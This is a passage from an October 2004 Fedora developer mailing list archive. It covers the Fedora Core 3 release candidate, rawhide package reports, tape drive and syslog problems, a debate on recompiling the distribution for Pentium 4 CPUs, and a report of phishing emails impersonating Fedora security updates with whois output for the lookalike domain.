FC3 will be. > > The main URL is http://testing.fedora.redhat.com/tree/ and there's a > mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ testing.fedora.redhat.com does not resolve (none of nsX.redhat.com). > Please try to break it. Especially interesting are bugs in the kernel, and > any installer bugs resulting from kernel changes. There is a very important bug-fix for x86_64 kernels at https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132947 -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From buildsys at redhat.com Sat Oct 23 11:54:00 2004 From: buildsys at redhat.com (Build System) Date: Sat, 23 Oct 2004 07:54:00 -0400 Subject: rawhide report: 20041023 changes Message-ID: <200410231154.i9NBs0J03285@porkchop.devel.redhat.com> Updated Packages: desktop-printing-0.17-3 ----------------------- * Sat Oct 23 2004 John (J5) Palmieri 0.17-1 - use_usb_if_null patch makes sure that the make and model of the printer is never null even if hal does not populate the printer.vendor and info.product fields. (Bug #136666) gtk2-2.4.13-3 ------------- * Fri Oct 22 2004 Owen Taylor - 2.4.13-3 - Fix crash with backspace at end of buffer (#136840) hal-cups-utils-0.5.2-8 ---------------------- * Fri Oct 22 2004 John (J5) Palmieri - 0.5.2-8 - use_usb_if_null patch makes sure that the make and model of the printer is never null even if hal does not populate the printer.vendor and info.product fields. (Bug #136666) - (printer_update.hal, printer_remove.hal): Use $UDI instead of $HAL_PROP_INFO_UDI which in some instances may not be populated * Tue Oct 12 2004 John (J5) Palmieri - 0.5.2-7 - Add MatchDriver DBUS method call patch so we can check if the printer has a driver rpmdb-fedora-3-0.20041023 ------------------------- From wrrhdev at riede.org Sat Oct 23 14:22:15 2004 From: wrrhdev at riede.org (Willem Riede) Date: Sat, 23 Oct 2004 14:22:15 +0000 Subject: /etc/sysconfig/hwconf and Onstream tape drives Message-ID: <1098541335l.3844l.0l@serve.riede.org> I'm trying to get Onstream {SC|DI} tape drives - osstX devices - to be detected and set up correctly in FC3 Test 3, just as stX devices are. In spite of staring at the startup scripts for some time, I'm not sure where to start. To quote a segment of my /etc/sysconfig/hwconf: - class: TAPE bus: SCSI detached: 0 device: st0 ^^^ this should be osst0 driver: ignore desc: "Onstream SC-30" host: 0 id: 3 channel: 0 lun: 0 generic: sg0 - class: TAPE bus: SCSI detached: 0 device: st1 ^^^ this should be st0 driver: ignore desc: "Onstream ADR Series" host: 3 id: 0 channel: 0 lun: 0 generic: sg6 - class: TAPE bus: SCSI detached: 0 device: st2 ^^^ this should be osst1 driver: ignore desc: "Onstream DI-30" host: 4 id: 0 channel: 0 lun: 0 generic: sg7 - class: TAPE bus: SCSI detached: 0 device: st3 ^^^ this should be st1 driver: ignore desc: "Conner CTT8000-A" host: 5 id: 0 channel: 0 lun: 0 generic: sg8 - What creates /etc/sysconfig/hwconf? Does it drive everything else? If not, what is the point at which I should start unraveling this? Thanks for your help, Willem Riede. From pnasrat at redhat.com Sun Oct 24 08:53:29 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Sun, 24 Oct 2004 09:53:29 +0100 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: <1098486470.9254.60.camel@localhost.localdomain> References: <1098486470.9254.60.camel@localhost.localdomain> Message-ID: <1098608009.17438.20.camel@anu.eridu> On Sat, 2004-10-23 at 01:07 +0200, Matias F?liciano wrote: > Le vendredi 22 octobre 2004 ? 17:36 -0400, Elliot Lee a ?crit : > > There's a tree available that looks pretty close to what FC3 will be. > > Perhaps it's a stupid question. > > This week I try to build my own iso with the latest rawhide snapshot and > anaconda-runtime. It's horribly painful and I aborted my try at the step > "splittree.py". Start here: http://rau.homedns.org/twiki/bin/view/Anaconda/WebHome It's a wiki so feel free to update for FC3. Paul From feliciano.matias at free.fr Sun Oct 24 09:48:20 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 24 Oct 2004 11:48:20 +0200 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: <1098608009.17438.20.camel@anu.eridu> References: <1098486470.9254.60.camel@localhost.localdomain> <1098608009.17438.20.camel@anu.eridu> Message-ID: <1098611300.8973.94.camel@localhost.localdomain> Le dimanche 24 octobre 2004 ? 09:53 +0100, Paul Nasrat a ?crit : > On Sat, 2004-10-23 at 01:07 +0200, Matias F?liciano wrote: > > Le vendredi 22 octobre 2004 ? 17:36 -0400, Elliot Lee a ?crit : > > > There's a tree available that looks pretty close to what FC3 will be. > > > > Perhaps it's a stupid question. > > > > This week I try to build my own iso with the latest rawhide snapshot and > > anaconda-runtime. It's horribly painful and I aborted my try at the step > > "splittree.py". > > Start here: > > http://rau.homedns.org/twiki/bin/view/Anaconda/WebHome > Thanks. Perhaps http://fedora.redhat.com/projects/anaconda-installer/ should have a link to this wiki. > It's a wiki so feel free to update for FC3. > > Paul > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From buildsys at redhat.com Sun Oct 24 11:50:10 2004 From: buildsys at redhat.com (Build System) Date: Sun, 24 Oct 2004 07:50:10 -0400 Subject: rawhide report: 20041024 changes Message-ID: <200410241150.i9OBoAi09289@porkchop.devel.redhat.com> Updated Packages: rpmdb-fedora-3-0.20041024 ------------------------- From fedora at leemhuis.info Sun Oct 24 12:40:43 2004 From: fedora at leemhuis.info (Thorsten Leemhuis) Date: Sun, 24 Oct 2004 14:40:43 +0200 Subject: Preparation for Fedora Extras / fedora.us FC3 rebuild - please list packages in the wiki that don't need to be rebuilded Message-ID: <1098621644.2674.39.camel@localhost.localdomain> Hi *, I created a page in the fedora.us Wiki with names of packages that should not be rebuilded by the build team when the rebuild for FC3 happens: http://www.fedora.us/wiki/FC3Status So, if you have a package in fedora.us that is obsoleted in some form by a core FC3 package and does not need to be build simply add it to the list. To save the time spend by the fedora.us build-team please also add your package-name to the list somewhere if you know that it won't build cleanly on FC3. After the rebuild is done this page should serve as a tracker to packages that are missing for FC3 and were in FC2/FC1 (build-issues, unmaintained, ...) like http://www.fedora.us/wiki/FC2Status does for FC2. Thanks. CU thl P.S.: No, I'm not a member of the build team, I started this cause I have a package that should not be rebuilded for FC3. -- Thorsten Leemhuis From roli at israel-jugendtag.ch Sun Oct 24 13:45:22 2004 From: roli at israel-jugendtag.ch (Roland Kaeser) Date: Sun, 24 Oct 2004 15:45:22 +0200 Subject: Rebuilding Fedora Message-ID: <417BB1F2.5010904@israel-jugendtag.ch> Hello I would like to build the fedora 2 release for the actual P4 CPU instead of the i386 packages shipped with the normal iso images. Is there a howto to automaticly build a new fedora release out of the srpm isos' Thanks Roland Kaeser Systems Administrator From ville.skytta at iki.fi Sun Oct 24 13:46:23 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Sun, 24 Oct 2004 16:46:23 +0300 Subject: Preparation for Fedora Extras / fedora.us FC3 rebuild - please list packages in the wiki that don't need to be rebuilded In-Reply-To: <1098621644.2674.39.camel@localhost.localdomain> References: <1098621644.2674.39.camel@localhost.localdomain> Message-ID: <1098625583.26004.0.camel@bobcat.mine.nu> On Sun, 2004-10-24 at 15:40, Thorsten Leemhuis wrote: > P.S.: No, I'm not a member of the build team, I started this cause I > have a package that should not be rebuilded for FC3. Thanks! From wrrhdev at riede.org Sun Oct 24 15:06:58 2004 From: wrrhdev at riede.org (Willem Riede) Date: Sun, 24 Oct 2004 15:06:58 +0000 Subject: Excessive syslog output in the absence of removable media Message-ID: <1098630418l.3844l.5l@serve.riede.org> I have a PD/CD ATAPI drive with removable media. The PD part gets mapped to sdc. When PD media is absent, something in FC3T3 tries to access it roughly every two seconds, and each access causes 20 lines of syslog (see below). Makes for _really_ large logs (> 10 MB/day). What program/process is doing this? Is it really necessary? Thanks, Willem Riede. Oct 23 17:18:54 fallguy kernel: sdc: Unit Not Ready, sense: Oct 23 17:18:54 fallguy kernel: Current : sense key No Sense Oct 23 17:18:54 fallguy kernel: sdc : READ CAPACITY failed. Oct 23 17:18:54 fallguy kernel: sdc : status=1, message=00, host=0, driver=08 Oct 23 17:18:54 fallguy kernel: Current sd: sense key No Sense Oct 23 17:18:54 fallguy kernel: sdc: Write Protect is off Oct 23 17:18:54 fallguy kernel: SCSI device sdc: drive cache: write back Oct 23 17:18:54 fallguy kernel: sdc: Unit Not Ready, sense: Oct 23 17:18:54 fallguy kernel: Current : sense key No Sense Oct 23 17:18:54 fallguy kernel: sdc : READ CAPACITY failed. Oct 23 17:18:54 fallguy kernel: sdc : status=1, message=00, host=0, driver=08 Oct 23 17:18:54 fallguy kernel: Current sd: sense key No Sense Oct 23 17:18:54 fallguy kernel: sdc: Write Protect is off Oct 23 17:18:54 fallguy kernel: SCSI device sdc: drive cache: write back Oct 23 17:18:54 fallguy kernel: sdc:<3>Buffer I/O error on device sdc, logical block 0 Oct 23 17:18:54 fallguy kernel: Buffer I/O error on device sdc, logical block 0 Oct 23 17:18:54 fallguy kernel: Buffer I/O error on device sdc, logical block 262143 Oct 23 17:18:54 fallguy kernel: Buffer I/O error on device sdc, logical block 262143 Oct 23 17:18:54 fallguy kernel: Buffer I/O error on device sdc, logical block 0 Oct 23 17:18:54 fallguy kernel: unable to read partition table From thesource at ldb-jab.org Sun Oct 24 15:47:09 2004 From: thesource at ldb-jab.org (Lawrence Bowie) Date: Sun, 24 Oct 2004 11:47:09 -0400 Subject: Rebuilding Fedora In-Reply-To: <417BB1F2.5010904@israel-jugendtag.ch> References: <417BB1F2.5010904@israel-jugendtag.ch> Message-ID: <417BCE7D.5090605@ldb-jab.org> rpm -ivh kernel-sourcecode (this is specifically is not a package but here are some of the latest ... kernel-sourcecode-2.6.8-1.521 kernel-sourcecode-2.6.7-1.494.2.2 cd /usr/src/"name of current kernel source code you are going to re-compile" make mrproper make menuconfig ->processor type and features ->processor family (press enter to select the specific processor) ->ESC ->ESC ->Enter vi Makefile -> (Append the line EXTRAVERSION at the top of the Makefile to say something like custom so .. if EXTRAVERSION reads "EXTRAVERSION = -1.494.2.2" then change it to "EXTRAVERSION = -1.494.2.2customize_to_whatever". Just make it different.) make make install modules_install That should be all ... LDB Roland Kaeser wrote: > Hello > > I would like to build the fedora 2 release for the actual P4 CPU > instead of the i386 packages shipped with the normal iso images. > Is there a howto to automaticly build a new fedora release out of the > srpm isos' > > Thanks > > Roland Kaeser > Systems Administrator > From fedora at wir-sind-cool.org Sun Oct 24 16:02:11 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sun, 24 Oct 2004 18:02:11 +0200 Subject: Preparation for Fedora Extras / fedora.us FC3 rebuild - please list packages in the wiki that don't need to be rebuilded In-Reply-To: <1098621644.2674.39.camel@localhost.localdomain> References: <1098621644.2674.39.camel@localhost.localdomain> Message-ID: <20041024180211.268f5007.fedora@wir-sind-cool.org> On Sun, 24 Oct 2004 14:40:43 +0200, Thorsten Leemhuis wrote: > Hi *, > > I created a page in the fedora.us Wiki with names of packages that > should not be rebuilded by the build team when the rebuild for FC3 > happens: When will that happen? I think we're pretty late. Only two weeks left before FC3 gets released. And except for new packages, which have been tried by QA on FC3 test releases during the past weeks, it could be that GCC 3.4 breaks some of the existing packages, too. Considering how long it took for the FC2 rebuild to be near complete (it's still not complete, see FC2Status page), this is a rather poor situation IMO. Not even considering rpm.livna.org, which depends on fedora.us packages. > http://www.fedora.us/wiki/FC3Status > http://www.fedora.us/wiki/FC2Status -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 1.09 1.05 1.01 From roli at israel-jugendtag.ch Sun Oct 24 16:40:30 2004 From: roli at israel-jugendtag.ch (Roland Kaeser) Date: Sun, 24 Oct 2004 18:40:30 +0200 Subject: Rebuilding Fedora In-Reply-To: <417BCE7D.5090605@ldb-jab.org> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> Message-ID: <417BDAFE.7070506@israel-jugendtag.ch> Hello There is a mistake. I would like to completly rebuild the whole distribution rmps from the srpms iso's not just the kernel. Kind regards Roland Kaeser Lawrence Bowie wrote: > rpm -ivh kernel-sourcecode (this is specifically is not a package but > here are some of the latest ... > > kernel-sourcecode-2.6.8-1.521 > kernel-sourcecode-2.6.7-1.494.2.2 > > > cd /usr/src/"name of current kernel source code you are going to > re-compile" > make mrproper > make menuconfig > ->processor type and features > ->processor family (press enter to select the specific processor) > ->ESC > ->ESC > ->Enter > vi Makefile > -> (Append the line EXTRAVERSION at the top of the Makefile to say > something like custom > so .. if EXTRAVERSION reads "EXTRAVERSION = -1.494.2.2" then > change it to > "EXTRAVERSION = -1.494.2.2customize_to_whatever". Just make it > different.) > make > make install modules_install > > > > > That should be all ... > > LDB > > > Roland Kaeser wrote: > >> Hello >> >> I would like to build the fedora 2 release for the actual P4 CPU >> instead of the i386 packages shipped with the normal iso images. >> Is there a howto to automaticly build a new fedora release out of the >> srpm isos' >> >> Thanks >> >> Roland Kaeser >> Systems Administrator >> > From kyrre at solution-forge.net Sun Oct 24 16:39:17 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 24 Oct 2004 18:39:17 +0200 Subject: Rebuilding Fedora In-Reply-To: <417BCE7D.5090605@ldb-jab.org> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> Message-ID: <1098635957.2690.0.camel@kyrre> But that would only rebuild the kernel, not the whole system, rigth? s?n, 24.10.2004 kl. 17.47 skrev Lawrence Bowie: > rpm -ivh kernel-sourcecode (this is specifically is not a package but > here are some of the latest ... > > kernel-sourcecode-2.6.8-1.521 > kernel-sourcecode-2.6.7-1.494.2.2 > > > cd /usr/src/"name of current kernel source code you are going to re-compile" > make mrproper > make menuconfig > ->processor type and features > ->processor family (press enter to select the specific processor) > ->ESC > ->ESC > ->Enter > vi Makefile > -> (Append the line EXTRAVERSION at the top of the Makefile to say > something like custom > so .. if EXTRAVERSION reads "EXTRAVERSION = -1.494.2.2" then > change it to > "EXTRAVERSION = -1.494.2.2customize_to_whatever". Just make it > different.) > make > make install modules_install > > > > > That should be all ... > > LDB > > > Roland Kaeser wrote: > > > Hello > > > > I would like to build the fedora 2 release for the actual P4 CPU > > instead of the i386 packages shipped with the normal iso images. > > Is there a howto to automaticly build a new fedora release out of the > > srpm isos' > > > > Thanks > > > > Roland Kaeser > > Systems Administrator > > From ben.steeves at gmail.com Sun Oct 24 16:49:44 2004 From: ben.steeves at gmail.com (Ben Steeves) Date: Sun, 24 Oct 2004 13:49:44 -0300 Subject: Rebuilding Fedora In-Reply-To: <417BB1F2.5010904@israel-jugendtag.ch> References: <417BB1F2.5010904@israel-jugendtag.ch> Message-ID: <7ebb24d1041024094948984c50@mail.gmail.com> On Sun, 24 Oct 2004 15:45:22 +0200, Roland Kaeser wrote: > Hello > > I would like to build the fedora 2 release for the actual P4 CPU instead > of the i386 packages shipped with the normal iso images. > Is there a howto to automaticly build a new fedora release out of the > srpm isos' Why? The packages are already optimized for the i686 architecture. -- Ben Steeves _ bcs at metacon.ca The ASCII ribbon campaign ( ) ben.steeves at gmail.com against HTML e-mail X GPG ID: 0xB3EBF1D9 http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves From s.ellis at fastmail.co.uk Sun Oct 24 17:39:35 2004 From: s.ellis at fastmail.co.uk (Stuart Ellis) Date: Sun, 24 Oct 2004 18:39:35 +0100 Subject: Official list of major problems In-Reply-To: <1098469563.21611.5.camel@scriabin.tannenrauch.ch> References: <1098462750.14068.5.camel@scriabin.tannenrauch.ch> <1098465113.411.5.camel@dcbw.boston.redhat.com> <1098468208.21546.5.camel@scriabin.tannenrauch.ch> <41794CE4.6040200@wanadoo.es> <1098469563.21611.5.camel@scriabin.tannenrauch.ch> Message-ID: <1098639575.9191.207144010@webmail.messagingengine.com> On Fri, 22 Oct 2004 20:26:03 +0200, "G?rard Milmeister" said: > On Fri, 2004-10-22 at 20:09, Xose Vazquez Perez wrote: > > Somethings are in FAQs: > > > > http://www.fedorafaq.org > > http://www.linuxtx.org/amd64faq.html > > http://www.linux.org.uk/~davej/docs/fedora-kernel-faq.txt > > These faqs are useful, nice and good. But why are spread over the whole > world. As I said, if I don't find a solution in the CENTRAL location, I > don't mind searching the web, but would like to have at least a starting > point with most common issue. I am mostly quite able to find out myself > (I use Linux since 1993...), but I care about users that are not as > proficient. I know and appreciate the almost-bleeding-edge-ness of FC, > but it would be fine if not everyone had to do the same work over and > over again. Absolutely. If you are interested in progressing this, the best thing to do is to post to fedora-docs-list, the list for the Documentation Project. There was a request to link to a FAQ from the Installation Guide this morning but as you say, there is no official FAQ, so I can't really. The Release Notes cover some issues, of course, but I think that it would be useful to have something broader ranging. -- Stuart Ellis s.ellis at fastmail.co.uk From roli at israel-jugendtag.ch Sun Oct 24 17:39:38 2004 From: roli at israel-jugendtag.ch (Roland Kaeser) Date: Sun, 24 Oct 2004 19:39:38 +0200 Subject: Rebuilding Fedora In-Reply-To: <7ebb24d1041024094948984c50@mail.gmail.com> References: <417BB1F2.5010904@israel-jugendtag.ch> <7ebb24d1041024094948984c50@mail.gmail.com> Message-ID: <417BE8DA.5020309@israel-jugendtag.ch> But then, why they all named as xxxx-i386.rpm? And then, for instance, when i comile KDE new from the scratch (with the sources from kde.org), it runs 2 times faster much more reliable than the original rpms. There must be a diffrence... Roland Kaeser Ben Steeves wrote: >On Sun, 24 Oct 2004 15:45:22 +0200, Roland Kaeser > wrote: > > >>Hello >> >>I would like to build the fedora 2 release for the actual P4 CPU instead >>of the i386 packages shipped with the normal iso images. >>Is there a howto to automaticly build a new fedora release out of the >>srpm isos' >> >> > >Why? The packages are already optimized for the i686 architecture. > > > From alan at redhat.com Sun Oct 24 17:55:02 2004 From: alan at redhat.com (Alan Cox) Date: Sun, 24 Oct 2004 13:55:02 -0400 Subject: Rebuilding Fedora In-Reply-To: <417BE8DA.5020309@israel-jugendtag.ch> References: <417BB1F2.5010904@israel-jugendtag.ch> <7ebb24d1041024094948984c50@mail.gmail.com> <417BE8DA.5020309@israel-jugendtag.ch> Message-ID: <20041024175502.GA30998@devserv.devel.redhat.com> On Sun, Oct 24, 2004 at 07:39:38PM +0200, Roland Kaeser wrote: > But then, why they all named as xxxx-i386.rpm? Because they will run on i386 but they are optimised for i686 > And then, for instance, when i comile KDE new from the scratch (with the > sources from kde.org), it runs 2 times faster much more reliable than > the original rpms. No optimisation settings have more than about a 5% effect anyway From fedora at andrewfarris.com Sun Oct 24 19:34:01 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Sun, 24 Oct 2004 12:34:01 -0700 Subject: Rebuilding Fedora In-Reply-To: <417BDAFE.7070506@israel-jugendtag.ch> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> <417BDAFE.7070506@israel-jugendtag.ch> Message-ID: <1098646442.11637.38.camel@andrewfarris.dev> On Sun, 2004-10-24 at 18:40 +0200, Roland Kaeser wrote: > Hello > > There is a mistake. I would like to completly rebuild the whole > distribution rmps from the srpms iso's not just the kernel. > > Kind regards > > Roland Kaeser Are you considering the amount of cpu time required to build this entire distro? It is not something I think you want to do on a workstation, I'd suggest rebuilding only those individual packages for apps you run constantly. Build firefox, the KDE packages, xorg-x11, and the kernel, perhaps a very few others. If absolute optimization is your goal, go Gentoo, and experience that extra 5% Alan is talking about in his post. I've found rebuilding i686 for the constant use packages makes them 'feel' faster, but I am not positive it is more than illusion. Rebuilding FC2 will take longer than a complete build of Gentoo. Why will it help very little? FC already used the best possible choice of instruction order for pentium-pro and up machines, which means unless your app is going to be using SSE instructions there isn't that much more you can do. -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From kyrre at solution-forge.net Sun Oct 24 19:42:45 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 24 Oct 2004 21:42:45 +0200 Subject: Rebuilding Fedora In-Reply-To: <1098646442.11637.38.camel@andrewfarris.dev> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> <417BDAFE.7070506@israel-jugendtag.ch> <1098646442.11637.38.camel@andrewfarris.dev> Message-ID: <1098646965.3935.5.camel@kyrre> s?n, 24.10.2004 kl. 21.34 skrev Andrew Farris: > On Sun, 2004-10-24 at 18:40 +0200, Roland Kaeser wrote: > > Hello > > > > There is a mistake. I would like to completly rebuild the whole > > distribution rmps from the srpms iso's not just the kernel. > > > > Kind regards > > > > Roland Kaeser > > Are you considering the amount of cpu time required to build this entire > distro? It is not something I think you want to do on a workstation, > I'd suggest rebuilding only those individual packages for apps you run > constantly. Build firefox, the KDE packages, xorg-x11, and the kernel, > perhaps a very few others. > > If absolute optimization is your goal, go Gentoo, and experience that > extra 5% Alan is talking about in his post. I've found rebuilding i686 > for the constant use packages makes them 'feel' faster, but I am not > positive it is more than illusion. Rebuilding FC2 will take longer than > a complete build of Gentoo. > > Why will it help very little? FC already used the best possible choice > of instruction order for pentium-pro and up machines, which means unless > your app is going to be using SSE instructions there isn't that much > more you can do. > Yes, but (being anything than a compiler specialist...) can't you optimize specialy for a spesific CPU, not just an arch? And how can this affect loading times? > -- > Andrew Farris (lordmorgul) > - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu > "..the triumph of evil is for good men to do nothing." (Edmond Burke) From alan at redhat.com Sun Oct 24 20:20:57 2004 From: alan at redhat.com (Alan Cox) Date: Sun, 24 Oct 2004 16:20:57 -0400 Subject: Rebuilding Fedora In-Reply-To: <1098646965.3935.5.camel@kyrre> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> <417BDAFE.7070506@israel-jugendtag.ch> <1098646442.11637.38.camel@andrewfarris.dev> <1098646965.3935.5.camel@kyrre> Message-ID: <20041024202057.GA3975@devserv.devel.redhat.com> On Sun, Oct 24, 2004 at 09:42:45PM +0200, Kyrre Ness Sjobak wrote: > Yes, but (being anything than a compiler specialist...) can't you > optimize specialy for a spesific CPU, not just an arch? And how can this > affect loading times? You can - and to answer the original question about rebuilding - look at something like the "mach" tool (not to be confused with mach the OS). Loading times are more about link order than anything else. Tools like gprof can help compute the optimal link order for binaries. Also fixing up the library fixups can improve performance - and that is work that has been done in gtk for example. Alan From fedora at andrewfarris.com Sun Oct 24 20:40:04 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Sun, 24 Oct 2004 13:40:04 -0700 Subject: Rebuilding Fedora In-Reply-To: <1098646965.3935.5.camel@kyrre> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> <417BDAFE.7070506@israel-jugendtag.ch> <1098646442.11637.38.camel@andrewfarris.dev> <1098646965.3935.5.camel@kyrre> Message-ID: <1098650405.11637.56.camel@andrewfarris.dev> On Sun, 2004-10-24 at 21:42 +0200, Kyrre Ness Sjobak wrote: > s?n, 24.10.2004 kl. 21.34 skrev Andrew Farris: > > On Sun, 2004-10-24 at 18:40 +0200, Roland Kaeser wrote: > > > Hello > > > > > > There is a mistake. I would like to completly rebuild the whole > > > distribution rmps from the srpms iso's not just the kernel. > > > > > > Kind regards > > > > > > Roland Kaeser > > > > Are you considering the amount of cpu time required to build this entire > > distro? It is not something I think you want to do on a workstation, > > I'd suggest rebuilding only those individual packages for apps you run > > constantly. Build firefox, the KDE packages, xorg-x11, and the kernel, > > perhaps a very few others. > > > > If absolute optimization is your goal, go Gentoo, and experience that > > extra 5% Alan is talking about in his post. I've found rebuilding i686 > > for the constant use packages makes them 'feel' faster, but I am not > > positive it is more than illusion. Rebuilding FC2 will take longer than > > a complete build of Gentoo. > > > > Why will it help very little? FC already used the best possible choice > > of instruction order for pentium-pro and up machines, which means unless > > your app is going to be using SSE instructions there isn't that much > > more you can do. > > > > Yes, but (being anything than a compiler specialist...) can't you > optimize specialy for a spesific CPU, not just an arch? And how can this > affect loading times? I'm also not a compiler specialist, but here is a general overview of the situation as I understand it. Yes, there are three main compiler setting choices of interest you could change. What instruction set to use (march), what optimization level to use (Ox), and what instruction ordering to use when optimizing (mtune). Fedora uses march for i386 machines so that the code will work on old hardware, but optimizes O2 (the fastest considered stable and reliable) and an mtune for i686 (pentium pro) so that it runs the best order of instructions for a i686 it can. From there on up the architectures change most in ways that compiler optimizations do not capitalize on, or that the hardware does despite your code (some cpus actually disobey). You can optimize to a higher level (O3) but you see marginal gain and instability, or you can use higher instruction sets which will see gain but only for types of code that exploit the instructions (streaming media mostly). As for load times, you will not see excessive change in that, what you'll see is lower cpu usage at peak load and lower latency when performing more tasks at once (jerky responsiveness). Lower load times are most effected by Prelinking, so making sure that your system is not failing to complete the prelink is something you could do quickly. -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From gafton at redhat.com Sun Oct 24 21:20:03 2004 From: gafton at redhat.com (Cristian Gafton) Date: Sun, 24 Oct 2004 17:20:03 -0400 (EDT) Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: <20041023105920.GA17182@neu.nirvana> References: <20041023105920.GA17182@neu.nirvana> Message-ID: On Sat, 23 Oct 2004, Axel Thimm wrote: > > The main URL is http://testing.fedora.redhat.com/tree/ and there's a > > mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ > > testing.fedora.redhat.com does not resolve (none of nsX.redhat.com). Anybody else has this issue still? Cristian -- ---------------------------------------------------------------------- Cristian Gafton -- gafton at redhat.com -- Red Hat, Inc. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Linux is a leprosy; and is having a deleterious effect on the U.S. IT industry because it is steadily depreciating the value of the software industry sector." -- Kenneth Brown, President, Alexis de Tocqueville Institution From foolish at fedoraforum.org Sun Oct 24 22:35:17 2004 From: foolish at fedoraforum.org (Sindre Pedersen Bjordal) Date: Mon, 25 Oct 2004 00:35:17 +0200 Subject: Fake Emails about Emergency Security Update Message-ID: <1098657317.25222.3.camel@localhost.localdomain> http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 Ewdinson Then came over this tonight, first time I've ever seen anything like this. I don't know who I'm supposed to contact about this, but an email here might get the message across. IANAL, but this must be a legal issue, as there's clearly a trademark violation. -- Sindre Pedersen Bjordal www.fedoraforum.org -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dette er en digitalt signert meldingsdel URL: From ben.steeves at gmail.com Sun Oct 24 22:36:50 2004 From: ben.steeves at gmail.com (Ben Steeves) Date: Sun, 24 Oct 2004 19:36:50 -0300 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098657317.25222.3.camel@localhost.localdomain> References: <1098657317.25222.3.camel@localhost.localdomain> Message-ID: <7ebb24d1041024153630f9cead@mail.gmail.com> On Mon, 25 Oct 2004 00:35:17 +0200, Sindre Pedersen Bjordal wrote: > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > Ewdinson Then came over this tonight, first time I've ever seen anything > like this. I don't know who I'm supposed to contact about this, but an > email here might get the message across. > > IANAL, but this must be a legal issue, as there's clearly a trademark > violation. People have been doing it to Microsoft for years ... it was only a matter of time before someone picked on RedHat. In fact, I think these have been floated before. Anyone familiar with how Red Hat and/or Fedora handle patches will immediately spot this as bogus. -- Ben Steeves _ bcs at metacon.ca The ASCII ribbon campaign ( ) ben.steeves at gmail.com against HTML e-mail X GPG ID: 0xB3EBF1D9 http://www.metacon.ca/bcs / \ Yahoo Messenger: ben_steeves From wtogami at redhat.com Sun Oct 24 22:41:36 2004 From: wtogami at redhat.com (Warren Togami) Date: Sun, 24 Oct 2004 12:41:36 -1000 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098657317.25222.3.camel@localhost.localdomain> References: <1098657317.25222.3.camel@localhost.localdomain> Message-ID: <417C2FA0.2030507@redhat.com> Sindre Pedersen Bjordal wrote: > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > Ewdinson Then came over this tonight, first time I've ever seen anything > like this. I don't know who I'm supposed to contact about this, but an > email here might get the message across. > > IANAL, but this must be a legal issue, as there's clearly a trademark > violation. I wonder if this guy is the actual person responsible. I'm guessing not, since info isn't actually verified when you register a domain name. [warren at ibmlaptop ~]$ whois fedora-redhat.com [Querying whois.internic.net] [Redirected to whois.melbourneit.com] [Querying whois.melbourneit.com] [whois.melbourneit.com] Domain Name.......... fedora-redhat.com Creation Date........ 2004-10-24 Registration Date.... 2004-10-24 Expiry Date.......... 2005-10-24 Organisation Name.... Raymond Jackson Organisation Address. 224 Cedar Avenue Organisation Address. Organisation Address. New York Organisation Address. 95301 Organisation Address. NY Organisation Address. UNITED STATES Admin Name........... Raymond Jackson Admin Address........ 224 Cedar Avenue Admin Address........ Admin Address........ New York Admin Address........ 95301 Admin Address........ NY Admin Address........ UNITED STATES Admin Email.......... rayjackson23 at yahoo.com Admin Phone.......... +1.2098994533 Admin Fax............ Tech Name............ YahooDomains TechContact Tech Address......... 701 First Ave. Tech Address......... Tech Address......... Sunnyvale Tech Address......... 94089 Tech Address......... CA Tech Address......... UNITED STATES Tech Email........... domain.tech at YAHOO-INC.COM Tech Phone........... +1.6198813096 Tech Fax............. +1.6198813010 Name Server.......... yns1.yahoo.com Name Server.......... yns2.yahoo.com From Axel.Thimm at ATrpms.net Sun Oct 24 23:20:45 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Mon, 25 Oct 2004 01:20:45 +0200 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: References: 